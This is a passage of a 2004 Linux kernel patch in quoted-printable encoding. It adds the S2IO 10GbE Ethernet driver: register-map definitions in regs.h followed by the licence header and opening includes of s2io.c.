BIT(9)=0A= +#define SWAPPER_CTRL_TXP_FE BIT(16)=0A= +#define SWAPPER_CTRL_TXP_SE BIT(17)=0A= +#define SWAPPER_CTRL_TXD_R_FE BIT(18)=0A= +#define SWAPPER_CTRL_TXD_R_SE BIT(19)=0A= +#define SWAPPER_CTRL_TXD_W_FE BIT(20)=0A= +#define SWAPPER_CTRL_TXD_W_SE BIT(21)=0A= +#define SWAPPER_CTRL_TXF_R_FE BIT(22)=0A= +#define SWAPPER_CTRL_TXF_R_SE BIT(23)=0A= +#define SWAPPER_CTRL_RXD_R_FE BIT(32)=0A= +#define SWAPPER_CTRL_RXD_R_SE BIT(33)=0A= +#define SWAPPER_CTRL_RXD_W_FE BIT(34)=0A= +#define SWAPPER_CTRL_RXD_W_SE BIT(35)=0A= +#define SWAPPER_CTRL_RXF_W_FE BIT(36)=0A= +#define SWAPPER_CTRL_RXF_W_SE BIT(37)=0A= +#define SWAPPER_CTRL_XMSI_FE BIT(40)=0A= +#define SWAPPER_CTRL_XMSI_SE BIT(41)=0A= +#define SWAPPER_CTRL_STATS_FE BIT(48)=0A= +#define SWAPPER_CTRL_STATS_SE BIT(49)=0A= +=0A= + u64 pif_rd_swapper_fb;=0A= +#define IF_RD_SWAPPER_FB 0x0123456789ABCDEF=0A= +=0A= + u64 scheduled_int_ctrl;=0A= +#define SCHED_INT_CTRL_TIMER_EN BIT(0)=0A= +#define SCHED_INT_CTRL_ONE_SHOT BIT(1)=0A= +#define SCHED_INT_CTRL_INT2MSI TBD=0A= +#define SCHED_INT_PERIOD TBD=0A= +=0A= + u64 txreqtimeout;=0A= +#define TXREQTO_VAL(val) vBIT(val,0,32)=0A= +#define TXREQTO_EN BIT(63)=0A= +=0A= + u64 statsreqtimeout;=0A= +#define STATREQTO_VAL(n) TBD=0A= +#define STATREQTO_EN BIT(63)=0A= +=0A= + u64 read_retry_delay;=0A= + u64 read_retry_acceleration;=0A= + u64 write_retry_delay;=0A= + u64 write_retry_acceleration;=0A= +=0A= + u64 xmsi_control;=0A= + u64 xmsi_access;=0A= + u64 xmsi_address;=0A= + u64 xmsi_data;=0A= +=0A= + u64 rx_mat;=0A= +=0A= + u8 unused6[0x8];=0A= +=0A= + u64 tx_mat0_7;=0A= + u64 tx_mat8_15;=0A= + u64 tx_mat16_23;=0A= + u64 tx_mat24_31;=0A= + u64 tx_mat32_39;=0A= + u64 tx_mat40_47;=0A= + u64 tx_mat48_55;=0A= + u64 tx_mat56_63;=0A= +=0A= + u8 unused_1[0x10];=0A= +=0A= + /* Automated statistics collection */=0A= + u64 stat_cfg;=0A= +#define STAT_CFG_STAT_EN BIT(0)=0A= +#define STAT_CFG_ONE_SHOT_EN BIT(1)=0A= +#define STAT_CFG_STAT_NS_EN BIT(8)=0A= +#define STAT_CFG_STAT_RO BIT(9)=0A= +#define STAT_TRSF_PER(n) TBD=0A= +#define PER_SEC 0x208d5=0A= +#define SET_UPDT_PERIOD(n) vBIT((PER_SEC*n),32,32)=0A= +=0A= + u64 stat_addr;=0A= +=0A= + /* General Configuration */=0A= + u64 mdio_control;=0A= +=0A= + u64 dtx_control;=0A= +=0A= + u64 i2c_control;=0A= +#define I2C_CONTROL_DEV_ID(id) vBIT(id,1,3)=0A= +#define I2C_CONTROL_ADDR(addr) vBIT(addr,5,11)=0A= +#define I2C_CONTROL_BYTE_CNT(cnt) vBIT(cnt,22,2)=0A= +#define I2C_CONTROL_READ BIT(24)=0A= +#define I2C_CONTROL_NACK BIT(25)=0A= +#define I2C_CONTROL_CNTL_START vBIT(0xE,28,4)=0A= +#define I2C_CONTROL_CNTL_END(val) (val & vBIT(0x1,28,4))=0A= +#define I2C_CONTROL_GET_DATA(val) (u32)(val & 0xFFFFFFFF)=0A= +#define I2C_CONTROL_SET_DATA(val) vBIT(val,32,32)=0A= +=0A= + u64 gpio_control;=0A= +#define GPIO_CTRL_GPIO_0 BIT(8)=0A= +=0A= + u8 unused7[0x600];=0A= +=0A= +/* TxDMA registers */=0A= + u64 txdma_int_status;=0A= + u64 txdma_int_mask;=0A= +#define TXDMA_PFC_INT BIT(0)=0A= +#define TXDMA_TDA_INT BIT(1)=0A= +#define TXDMA_PCC_INT BIT(2)=0A= +#define TXDMA_TTI_INT BIT(3)=0A= +#define TXDMA_LSO_INT BIT(4)=0A= +#define TXDMA_TPA_INT BIT(5)=0A= +#define TXDMA_SM_INT BIT(6)=0A= + u64 pfc_err_reg;=0A= + u64 pfc_err_mask;=0A= + u64 pfc_err_alarm;=0A= +=0A= + u64 tda_err_reg;=0A= + u64 tda_err_mask;=0A= + u64 tda_err_alarm;=0A= +=0A= + u64 pcc_err_reg;=0A= + u64 pcc_err_mask;=0A= + u64 pcc_err_alarm;=0A= +=0A= + u64 tti_err_reg;=0A= + u64 tti_err_mask;=0A= + u64 tti_err_alarm;=0A= +=0A= + u64 lso_err_reg;=0A= + u64 lso_err_mask;=0A= + u64 lso_err_alarm;=0A= +=0A= + u64 tpa_err_reg;=0A= + u64 tpa_err_mask;=0A= + u64 tpa_err_alarm;=0A= +=0A= + u64 sm_err_reg;=0A= + u64 sm_err_mask;=0A= + u64 sm_err_alarm;=0A= +=0A= + u8 unused8[0x100 - 0xB8];=0A= +=0A= +/* TxDMA arbiter */=0A= + u64 tx_dma_wrap_stat;=0A= +=0A= +/* Tx FIFO controller */=0A= +#define X_MAX_FIFOS 8=0A= +#define X_FIFO_MAX_LEN 0x1FFF /*8191 */=0A= + u64 tx_fifo_partition_0;=0A= +#define TX_FIFO_PARTITION_EN BIT(0)=0A= +#define TX_FIFO_PARTITION_0_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_0_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_1_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_1_LEN(val) vBIT(val,51,13 )=0A= +=0A= + u64 tx_fifo_partition_1;=0A= +#define TX_FIFO_PARTITION_2_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_2_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_3_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_3_LEN(val) vBIT(val,51,13)=0A= +=0A= + u64 tx_fifo_partition_2;=0A= +#define TX_FIFO_PARTITION_4_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_4_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_5_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_5_LEN(val) vBIT(val,51,13)=0A= +=0A= + u64 tx_fifo_partition_3;=0A= +#define TX_FIFO_PARTITION_6_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_6_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_7_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_7_LEN(val) vBIT(val,51,13)=0A= +=0A= +#define TX_FIFO_PARTITION_PRI_0 0 /* highest */=0A= +#define TX_FIFO_PARTITION_PRI_1 1=0A= +#define TX_FIFO_PARTITION_PRI_2 2=0A= +#define TX_FIFO_PARTITION_PRI_3 3=0A= +#define TX_FIFO_PARTITION_PRI_4 4=0A= +#define TX_FIFO_PARTITION_PRI_5 5=0A= +#define TX_FIFO_PARTITION_PRI_6 6=0A= +#define TX_FIFO_PARTITION_PRI_7 7 /* lowest */=0A= +=0A= + u64 tx_w_round_robin_0;=0A= + u64 tx_w_round_robin_1;=0A= + u64 tx_w_round_robin_2;=0A= + u64 tx_w_round_robin_3;=0A= + u64 tx_w_round_robin_4;=0A= +=0A= + u64 tti_command_mem;=0A= +#define TTI_CMD_MEM_WE BIT(7)=0A= +#define TTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= +#define TTI_CMD_MEM_STROBE_BEING_EXECUTED BIT(15)=0A= +#define TTI_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= +=0A= + u64 tti_data1_mem;=0A= +#define TTI_DATA1_MEM_TX_TIMER_VAL(n) vBIT(n,6,26)=0A= +#define TTI_DATA1_MEM_TX_TIMER_AC_CI(n) vBIT(n,38,2)=0A= +#define TTI_DATA1_MEM_TX_TIMER_AC_EN BIT(38)=0A= +#define TTI_DATA1_MEM_TX_TIMER_CI_EN BIT(39)=0A= +#define TTI_DATA1_MEM_TX_URNG_A(n) vBIT(n,41,7)=0A= +#define TTI_DATA1_MEM_TX_URNG_B(n) vBIT(n,49,7)=0A= +#define TTI_DATA1_MEM_TX_URNG_C(n) vBIT(n,57,7)=0A= +=0A= + u64 tti_data2_mem;=0A= +#define TTI_DATA2_MEM_TX_UFC_A(n) vBIT(n,0,16)=0A= +#define TTI_DATA2_MEM_TX_UFC_B(n) vBIT(n,16,16)=0A= +#define TTI_DATA2_MEM_TX_UFC_C(n) vBIT(n,32,16)=0A= +#define TTI_DATA2_MEM_TX_UFC_D(n) vBIT(n,48,16)=0A= +=0A= +/* Tx Protocol assist */=0A= + u64 tx_pa_cfg;=0A= +#define TX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= +#define TX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= +#define TX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= +#define TX_PA_CFG_IGNORE_L2_ERR BIT(6)=0A= +=0A= +/* Recent add, used only debug purposes. */=0A= + u64 pcc_enable;=0A= +=0A= + u8 unused9[0x700 - 0x178];=0A= +=0A= + u64 txdma_debug_ctrl;=0A= +=0A= + u8 unused10[0x1800 - 0x1708];=0A= +=0A= +/* RxDMA Registers */=0A= + u64 rxdma_int_status;=0A= + u64 rxdma_int_mask;=0A= +#define RXDMA_INT_RC_INT_M BIT(0)=0A= +#define RXDMA_INT_RPA_INT_M BIT(1)=0A= +#define RXDMA_INT_RDA_INT_M BIT(2)=0A= +#define RXDMA_INT_RTI_INT_M BIT(3)=0A= +=0A= + u64 rda_err_reg;=0A= + u64 rda_err_mask;=0A= + u64 rda_err_alarm;=0A= +=0A= + u64 rc_err_reg;=0A= + u64 rc_err_mask;=0A= + u64 rc_err_alarm;=0A= +=0A= + u64 prc_pcix_err_reg;=0A= + u64 prc_pcix_err_mask;=0A= + u64 prc_pcix_err_alarm;=0A= +=0A= + u64 rpa_err_reg;=0A= + u64 rpa_err_mask;=0A= + u64 rpa_err_alarm;=0A= +=0A= + u64 rti_err_reg;=0A= + u64 rti_err_mask;=0A= + u64 rti_err_alarm;=0A= +=0A= + u8 unused11[0x100 - 0x88];=0A= +=0A= +/* DMA arbiter */=0A= + u64 rx_queue_priority;=0A= +#define RX_QUEUE_0_PRIORITY(val) vBIT(val,5,3)=0A= +#define RX_QUEUE_1_PRIORITY(val) vBIT(val,13,3)=0A= +#define RX_QUEUE_2_PRIORITY(val) vBIT(val,21,3)=0A= +#define RX_QUEUE_3_PRIORITY(val) vBIT(val,29,3)=0A= +#define RX_QUEUE_4_PRIORITY(val) vBIT(val,37,3)=0A= +#define RX_QUEUE_5_PRIORITY(val) vBIT(val,45,3)=0A= +#define RX_QUEUE_6_PRIORITY(val) vBIT(val,53,3)=0A= +#define RX_QUEUE_7_PRIORITY(val) vBIT(val,61,3)=0A= +=0A= +#define RX_QUEUE_PRI_0 0 /* highest */=0A= +#define RX_QUEUE_PRI_1 1=0A= +#define RX_QUEUE_PRI_2 2=0A= +#define RX_QUEUE_PRI_3 3=0A= +#define RX_QUEUE_PRI_4 4=0A= +#define RX_QUEUE_PRI_5 5=0A= +#define RX_QUEUE_PRI_6 6=0A= +#define RX_QUEUE_PRI_7 7 /* lowest */=0A= +=0A= + u64 rx_w_round_robin_0;=0A= + u64 rx_w_round_robin_1;=0A= + u64 rx_w_round_robin_2;=0A= + u64 rx_w_round_robin_3;=0A= + u64 rx_w_round_robin_4;=0A= +=0A= + /* Per-ring controller regs */=0A= +#define RX_MAX_RINGS 8=0A= +#if 0=0A= +#define RX_MAX_RINGS_SZ 0xFFFF /* 65536 */=0A= +#define RX_MIN_RINGS_SZ 0x3F /* 63 */=0A= +#endif=0A= + u64 prc_rxd0_n[RX_MAX_RINGS];=0A= + u64 prc_ctrl_n[RX_MAX_RINGS];=0A= +#define PRC_CTRL_RC_ENABLED BIT(7)=0A= +#define PRC_CTRL_RING_MODE (BIT(14)|BIT(15))=0A= +#define PRC_CTRL_RING_MODE_1 vBIT(0,14,2)=0A= +#define PRC_CTRL_RING_MODE_3 vBIT(1,14,2)=0A= +#define PRC_CTRL_RING_MODE_5 vBIT(2,14,2)=0A= +#define PRC_CTRL_RING_MODE_x vBIT(3,14,2)=0A= +#define PRC_CTRL_NO_SNOOP (BIT(22)|BIT(23))=0A= +#define PRC_CTRL_NO_SNOOP_DESC BIT(22)=0A= +#define PRC_CTRL_NO_SNOOP_BUFF BIT(23)=0A= +#define PRC_CTRL_RXD_BACKOFF_INTERVAL(val) vBIT(val,40,24)=0A= +=0A= + u64 prc_alarm_action;=0A= +#define PRC_ALARM_ACTION_RR_R0_STOP BIT(3)=0A= +#define PRC_ALARM_ACTION_RW_R0_STOP BIT(7)=0A= +#define PRC_ALARM_ACTION_RR_R1_STOP BIT(11)=0A= +#define PRC_ALARM_ACTION_RW_R1_STOP BIT(15)=0A= +#define PRC_ALARM_ACTION_RR_R2_STOP BIT(19)=0A= +#define PRC_ALARM_ACTION_RW_R2_STOP BIT(23)=0A= +#define PRC_ALARM_ACTION_RR_R3_STOP BIT(27)=0A= +#define PRC_ALARM_ACTION_RW_R3_STOP BIT(31)=0A= +#define PRC_ALARM_ACTION_RR_R4_STOP BIT(35)=0A= +#define PRC_ALARM_ACTION_RW_R4_STOP BIT(39)=0A= +#define PRC_ALARM_ACTION_RR_R5_STOP BIT(43)=0A= +#define PRC_ALARM_ACTION_RW_R5_STOP BIT(47)=0A= +#define PRC_ALARM_ACTION_RR_R6_STOP BIT(51)=0A= +#define PRC_ALARM_ACTION_RW_R6_STOP BIT(55)=0A= +#define PRC_ALARM_ACTION_RR_R7_STOP BIT(59)=0A= +#define PRC_ALARM_ACTION_RW_R7_STOP BIT(63)=0A= +=0A= +/* Receive traffic interrupts */=0A= + u64 rti_command_mem;=0A= +#define RTI_CMD_MEM_WE BIT(7)=0A= +#define RTI_CMD_MEM_STROBE BIT(15)=0A= +#define RTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= +#define RTI_CMD_MEM_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= +#define RTI_CMD_MEM_OFFSET(n) vBIT(n,29,3)=0A= +=0A= + u64 rti_data1_mem;=0A= +#define RTI_DATA1_MEM_RX_TIMER_VAL(n) vBIT(n,3,29)=0A= +#define RTI_DATA1_MEM_RX_TIMER_AC_EN BIT(38)=0A= +#define RTI_DATA1_MEM_RX_TIMER_CI_EN BIT(39)=0A= +#define RTI_DATA1_MEM_RX_URNG_A(n) vBIT(n,41,7)=0A= +#define RTI_DATA1_MEM_RX_URNG_B(n) vBIT(n,49,7)=0A= +#define RTI_DATA1_MEM_RX_URNG_C(n) vBIT(n,57,7)=0A= +=0A= + u64 rti_data2_mem;=0A= +#define RTI_DATA2_MEM_RX_UFC_A(n) vBIT(n,0,16)=0A= +#define RTI_DATA2_MEM_RX_UFC_B(n) vBIT(n,16,16)=0A= +#define RTI_DATA2_MEM_RX_UFC_C(n) vBIT(n,32,16)=0A= +#define RTI_DATA2_MEM_RX_UFC_D(n) vBIT(n,48,16)=0A= +=0A= + u64 rx_pa_cfg;=0A= +#define RX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= +#define RX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= +#define RX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= +=0A= + u8 unused12[0x700 - 0x1D8];=0A= +=0A= + u64 rxdma_debug_ctrl;=0A= +=0A= + u8 unused13[0x2000 - 0x1f08];=0A= +=0A= +/* Media Access Controller Register */=0A= + u64 mac_int_status;=0A= + u64 mac_int_mask;=0A= +#define MAC_INT_STATUS_TMAC_INT BIT(0)=0A= +#define MAC_INT_STATUS_RMAC_INT BIT(1)=0A= +=0A= + u64 mac_tmac_err_reg;=0A= +#define TMAC_ERR_REG_TMAC_ECC_DB_ERR BIT(15)=0A= +#define TMAC_ERR_REG_TMAC_TX_BUF_OVRN BIT(23)=0A= +#define TMAC_ERR_REG_TMAC_TX_CRI_ERR BIT(31)=0A= + u64 mac_tmac_err_mask;=0A= + u64 mac_tmac_err_alarm;=0A= +=0A= + u64 mac_rmac_err_reg;=0A= +#define RMAC_ERR_REG_RX_BUFF_OVRN BIT(0)=0A= +#define RMAC_ERR_REG_RTS_ECC_DB_ERR BIT(14)=0A= +#define RMAC_ERR_REG_ECC_DB_ERR BIT(15)=0A= +#define RMAC_LINK_STATE_CHANGE_INT BIT(31)=0A= + u64 mac_rmac_err_mask;=0A= + u64 mac_rmac_err_alarm;=0A= +=0A= + u8 unused14[0x100 - 0x40];=0A= +=0A= + u64 mac_cfg;=0A= +#define MAC_CFG_TMAC_ENABLE BIT(0)=0A= +#define MAC_CFG_RMAC_ENABLE BIT(1)=0A= +#define MAC_CFG_LAN_NOT_WAN BIT(2)=0A= +#define MAC_CFG_TMAC_LOOPBACK BIT(3)=0A= +#define MAC_CFG_TMAC_APPEND_PAD BIT(4)=0A= +#define MAC_CFG_RMAC_STRIP_FCS BIT(5)=0A= +#define MAC_CFG_RMAC_STRIP_PAD BIT(6)=0A= +#define MAC_CFG_RMAC_PROM_ENABLE BIT(7)=0A= +#define MAC_RMAC_DISCARD_PFRM BIT(8)=0A= +#define MAC_RMAC_BCAST_ENABLE BIT(9)=0A= +#define MAC_RMAC_ALL_ADDR_ENABLE BIT(10)=0A= +#define MAC_RMAC_INVLD_IPG_THR(val) vBIT(val,16,8)=0A= +=0A= + u64 tmac_avg_ipg;=0A= +#define TMAC_AVG_IPG(val) vBIT(val,0,8)=0A= +=0A= + u64 rmac_max_pyld_len;=0A= +#define RMAC_MAX_PYLD_LEN(val) vBIT(val,2,14)=0A= +#define RMAC_MAX_PYLD_LEN_DEF vBIT(1500,2,14)=0A= +#define RMAC_MAX_PYLD_LEN_JUMBO_DEF vBIT(9600,2,14)=0A= +=0A= + u64 rmac_err_cfg;=0A= +#define RMAC_ERR_FCS BIT(0)=0A= +#define RMAC_ERR_FCS_ACCEPT BIT(1)=0A= +#define RMAC_ERR_TOO_LONG BIT(1)=0A= +#define RMAC_ERR_TOO_LONG_ACCEPT BIT(1)=0A= +#define RMAC_ERR_RUNT BIT(2)=0A= +#define RMAC_ERR_RUNT_ACCEPT BIT(2)=0A= +#define RMAC_ERR_LEN_MISMATCH BIT(3)=0A= +#define RMAC_ERR_LEN_MISMATCH_ACCEPT BIT(3)=0A= +=0A= + u64 rmac_cfg_key;=0A= +#define RMAC_CFG_KEY(val) vBIT(val,0,16)=0A= +=0A= +#define MAX_MAC_ADDRESSES 16=0A= +#define MAX_MC_ADDRESSES 32 /* Multicast addresses */=0A= +#define MAC_MAC_ADDR_START_OFFSET 0=0A= +#define MAC_MC_ADDR_START_OFFSET 16=0A= +#define MAC_MC_ALL_MC_ADDR_OFFSET 63 /* enables all multicast pkts */=0A= + u64 rmac_addr_cmd_mem;=0A= +#define RMAC_ADDR_CMD_MEM_WE BIT(7)=0A= +#define RMAC_ADDR_CMD_MEM_RD 0=0A= +#define RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= +#define RMAC_ADDR_CMD_MEM_STROBE_CMD_EXECUTING BIT(15)=0A= +#define RMAC_ADDR_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= +=0A= + u64 rmac_addr_data0_mem;=0A= +#define RMAC_ADDR_DATA0_MEM_ADDR(n) vBIT(n,0,48)=0A= +#define RMAC_ADDR_DATA0_MEM_USER BIT(48)=0A= +=0A= + u64 rmac_addr_data1_mem;=0A= +#define RMAC_ADDR_DATA1_MEM_MASK(n) vBIT(n,0,48)=0A= +=0A= + u8 unused15[0x8];=0A= +=0A= +/*=0A= + u64 rmac_addr_cfg;=0A= +#define RMAC_ADDR_UCASTn_EN(n) mBIT(0)_n(n)=0A= +#define RMAC_ADDR_MCASTn_EN(n) mBIT(0)_n(n)=0A= +#define RMAC_ADDR_BCAST_EN vBIT(0)_48 =0A= +#define RMAC_ADDR_ALL_ADDR_EN vBIT(0)_49 =0A= +*/=0A= + u64 tmac_ipg_cfg;=0A= +=0A= + u64 rmac_pause_cfg;=0A= +#define RMAC_PAUSE_GEN BIT(0)=0A= +#define RMAC_PAUSE_GEN_ENABLE BIT(0)=0A= +#define RMAC_PAUSE_RX BIT(1)=0A= +#define RMAC_PAUSE_RX_ENABLE BIT(1)=0A= +#define RMAC_PAUSE_HG_PTIME_DEF vBIT(0xFFFF,16,16)=0A= +#define RMAC_PAUSE_HG_PTIME(val) vBIT(val,16,16)=0A= +=0A= + u64 rmac_red_cfg;=0A= +=0A= + u64 rmac_red_rate_q0q3;=0A= + u64 rmac_red_rate_q4q7;=0A= +=0A= + u64 mac_link_util;=0A= +#define MAC_TX_LINK_UTIL vBIT(0xFE,1,7)=0A= +#define MAC_TX_LINK_UTIL_DISABLE vBIT(0xF, 8,4)=0A= +#define MAC_TX_LINK_UTIL_VAL( n ) vBIT(n,8,4)=0A= +#define MAC_RX_LINK_UTIL vBIT(0xFE,33,7)=0A= +#define MAC_RX_LINK_UTIL_DISABLE vBIT(0xF,40,4)=0A= +#define MAC_RX_LINK_UTIL_VAL( n ) vBIT(n,40,4)=0A= +=0A= +#define MAC_LINK_UTIL_DISABLE MAC_TX_LINK_UTIL_DISABLE | \=0A= + MAC_RX_LINK_UTIL_DISABLE=0A= +=0A= + u64 rmac_invalid_ipg;=0A= +=0A= +/* rx traffic steering */=0A= +#define MAC_RTS_FRM_LEN_SET(len) vBIT(len,2,14)=0A= + u64 rts_frm_len_n[8];=0A= +=0A= + u64 rts_qos_steering;=0A= +=0A= +#define MAX_DIX_MAP 4=0A= + u64 rts_dix_map_n[MAX_DIX_MAP];=0A= +#define RTS_DIX_MAP_ETYPE(val) vBIT(val,0,16)=0A= +#define RTS_DIX_MAP_SCW(val) BIT(val,21)=0A= +=0A= + u64 rts_q_alternates;=0A= + u64 rts_default_q;=0A= +=0A= + u64 rts_ctrl;=0A= +#define RTS_CTRL_IGNORE_SNAP_OUI BIT(2)=0A= +#define RTS_CTRL_IGNORE_LLC_CTRL BIT(3)=0A= +=0A= + u64 rts_pn_cam_ctrl;=0A= +#define RTS_PN_CAM_CTRL_WE BIT(7)=0A= +#define RTS_PN_CAM_CTRL_STROBE_NEW_CMD BIT(15)=0A= +#define RTS_PN_CAM_CTRL_STROBE_BEING_EXECUTED BIT(15)=0A= +#define RTS_PN_CAM_CTRL_OFFSET(n) vBIT(n,24,8)=0A= + u64 rts_pn_cam_data;=0A= +#define RTS_PN_CAM_DATA_TCP_SELECT BIT(7)=0A= +#define RTS_PN_CAM_DATA_PORT(val) vBIT(val,8,16)=0A= +#define RTS_PN_CAM_DATA_SCW(val) vBIT(val,24,8)=0A= +=0A= + u64 rts_ds_mem_ctrl;=0A= +#define RTS_DS_MEM_CTRL_WE BIT(7)=0A= +#define RTS_DS_MEM_CTRL_STROBE_NEW_CMD BIT(15)=0A= +#define RTS_DS_MEM_CTRL_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= +#define RTS_DS_MEM_CTRL_OFFSET(n) vBIT(n,26,6)=0A= + u64 rts_ds_mem_data;=0A= +#define RTS_DS_MEM_DATA(n) vBIT(n,0,8)=0A= +=0A= + u8 unused16[0x700 - 0x220];=0A= +=0A= + u64 mac_debug_ctrl;=0A= +#define MAC_DBG_ACTIVITY_VALUE 0x411040400000000ULL=0A= +=0A= + u8 unused17[0x2800 - 0x2708];=0A= +=0A= +/* memory controller registers */=0A= + u64 mc_int_status;=0A= +#define MC_INT_STATUS_MC_INT BIT(0)=0A= + u64 mc_int_mask;=0A= +#define MC_INT_MASK_MC_INT BIT(0)=0A= +=0A= + u64 mc_err_reg;=0A= +#define MC_ERR_REG_ECC_DB_ERR_L BIT(14)=0A= +#define MC_ERR_REG_ECC_DB_ERR_U BIT(15)=0A= +#define MC_ERR_REG_MIRI_CRI_ERR_0 BIT(22)=0A= +#define MC_ERR_REG_MIRI_CRI_ERR_1 BIT(23)=0A= +#define MC_ERR_REG_SM_ERR BIT(31)=0A= + u64 mc_err_mask;=0A= + u64 mc_err_alarm;=0A= +=0A= + u8 unused18[0x100 - 0x28];=0A= +=0A= +/* MC configuration */=0A= + u64 rx_queue_cfg;=0A= +#define RX_QUEUE_CFG_Q0_SZ(n) vBIT(n,0,8)=0A= +#define RX_QUEUE_CFG_Q1_SZ(n) vBIT(n,8,8)=0A= +#define RX_QUEUE_CFG_Q2_SZ(n) vBIT(n,16,8)=0A= +#define RX_QUEUE_CFG_Q3_SZ(n) vBIT(n,24,8)=0A= +#define RX_QUEUE_CFG_Q4_SZ(n) vBIT(n,32,8)=0A= +#define RX_QUEUE_CFG_Q5_SZ(n) vBIT(n,40,8)=0A= +#define RX_QUEUE_CFG_Q6_SZ(n) vBIT(n,48,8)=0A= +#define RX_QUEUE_CFG_Q7_SZ(n) vBIT(n,56,8)=0A= +=0A= + u64 mc_rldram_mrs;=0A= +#define MC_RLDRAM_QUEUE_SIZE_ENABLE BIT(39)=0A= +#define MC_RLDRAM_MRS_ENABLE BIT(47)=0A= +=0A= + u64 mc_rldram_interleave;=0A= +=0A= + u64 mc_pause_thresh_q0q3;=0A= + u64 mc_pause_thresh_q4q7;=0A= +=0A= + u64 mc_red_thresh_q[8];=0A= +=0A= + u8 unused19[0x200 - 0x168];=0A= + u64 mc_rldram_ref_per;=0A= + u8 unused20[0x220 - 0x208];=0A= + u64 mc_rldram_test_ctrl;=0A= +#define MC_RLDRAM_TEST_MODE BIT(47)=0A= +#define MC_RLDRAM_TEST_WRITE BIT(7)=0A= +#define MC_RLDRAM_TEST_GO BIT(15)=0A= +#define MC_RLDRAM_TEST_DONE BIT(23)=0A= +#define MC_RLDRAM_TEST_PASS BIT(31)=0A= +=0A= + u8 unused21[0x240 - 0x228];=0A= + u64 mc_rldram_test_add;=0A= + u8 unused22[0x260 - 0x248];=0A= + u64 mc_rldram_test_d0;=0A= + u8 unused23[0x280 - 0x268];=0A= + u64 mc_rldram_test_d1;=0A= + u8 unused24[0x300 - 0x288];=0A= + u64 mc_rldram_test_d2;=0A= + u8 unused25[0x700 - 0x308];=0A= + u64 mc_debug_ctrl;=0A= +=0A= + u8 unused26[0x3000 - 0x2f08];=0A= +=0A= +/* XGXG */=0A= + /* XGXS control registers */=0A= +=0A= + u64 xgxs_int_status;=0A= +#define XGXS_INT_STATUS_TXGXS BIT(0)=0A= +#define XGXS_INT_STATUS_RXGXS BIT(1)=0A= + u64 xgxs_int_mask;=0A= +#define XGXS_INT_MASK_TXGXS BIT(0)=0A= +#define XGXS_INT_MASK_RXGXS BIT(1)=0A= +=0A= + u64 xgxs_txgxs_err_reg;=0A= +#define TXGXS_ECC_DB_ERR BIT(15)=0A= + u64 xgxs_txgxs_err_mask;=0A= + u64 xgxs_txgxs_err_alarm;=0A= +=0A= + u64 xgxs_rxgxs_err_reg;=0A= + u64 xgxs_rxgxs_err_mask;=0A= + u64 xgxs_rxgxs_err_alarm;=0A= +=0A= + u8 unused27[0x100 - 0x40];=0A= +=0A= + u64 xgxs_cfg;=0A= + u64 xgxs_status;=0A= +=0A= + u64 xgxs_cfg_key;=0A= + u64 xgxs_efifo_cfg; /* CHANGED */=0A= + u64 rxgxs_ber_0; /* CHANGED */=0A= + u64 rxgxs_ber_1; /* CHANGED */=0A= +=0A= +} XENA_dev_config_t;=0A= +=0A= +#define XENA_REG_SPACE sizeof(XENA_dev_config_t)=0A= +#define XENA_EEPROM_SPACE (0x01 << 11)=0A= +=0A= +#endif /* _REGS_H */=0A= diff -urN vanilla-linux/drivers/net/s2io/s2io.c = vanilla-linux-patch/drivers/net/s2io/s2io.c=0A= --- vanilla-linux/drivers/net/s2io/s2io.c 1970-01-01 05:30:00.000000000 = +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/s2io.c 2004-02-27 = 20:47:52.000000000 +0530=0A= @@ -0,0 +1,4436 @@=0A= +/***********************************************************************= *=0A= + * s2io.c: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= + * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= +=0A= + * This software may be used and distributed according to the terms of=0A= + * the GNU General Public License (GPL), incorporated herein by = reference.=0A= + * Drivers based on or derived from this code fall under the GPL and = must=0A= + * retain the authorship, copyright and license notice. This file is = not=0A= + * a complete program and may only be used when the entire operating=0A= + * system is licensed under the GPL.=0A= + * See the file COPYING in this distribution for more information.=0A= + *=0A= + *=0A= + * The module loadable parameters that are supported by the driver and = a brief=0A= + * explaination of all the variables.=0A= + * ring_num : This can be used to program the number of receive rings = used =0A= + * in the driver. =0A= + * frame_len: This is an array of size 8. Using this we can set the = maximum =0A= + * size of the received frame that can be steered into the corrsponding =0A= + * receive ring.=0A= + * ring_len: This defines the number of descriptors each ring can have. = This =0A= + * is also an array of size 8.=0A= + * fifo_num: This defines the number of Tx FIFOs thats used int the = driver.=0A= + * fifo_len: This too is an array of 8. Each element defines the number = of =0A= + * Tx descriptors that can be associated with each corresponding FIFO.=0A= + * latency_timer: This input is programmed into the Latency timer = register=0A= + * in PCI Configuration space.=0A= + = ************************************************************************/=0A= +=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= 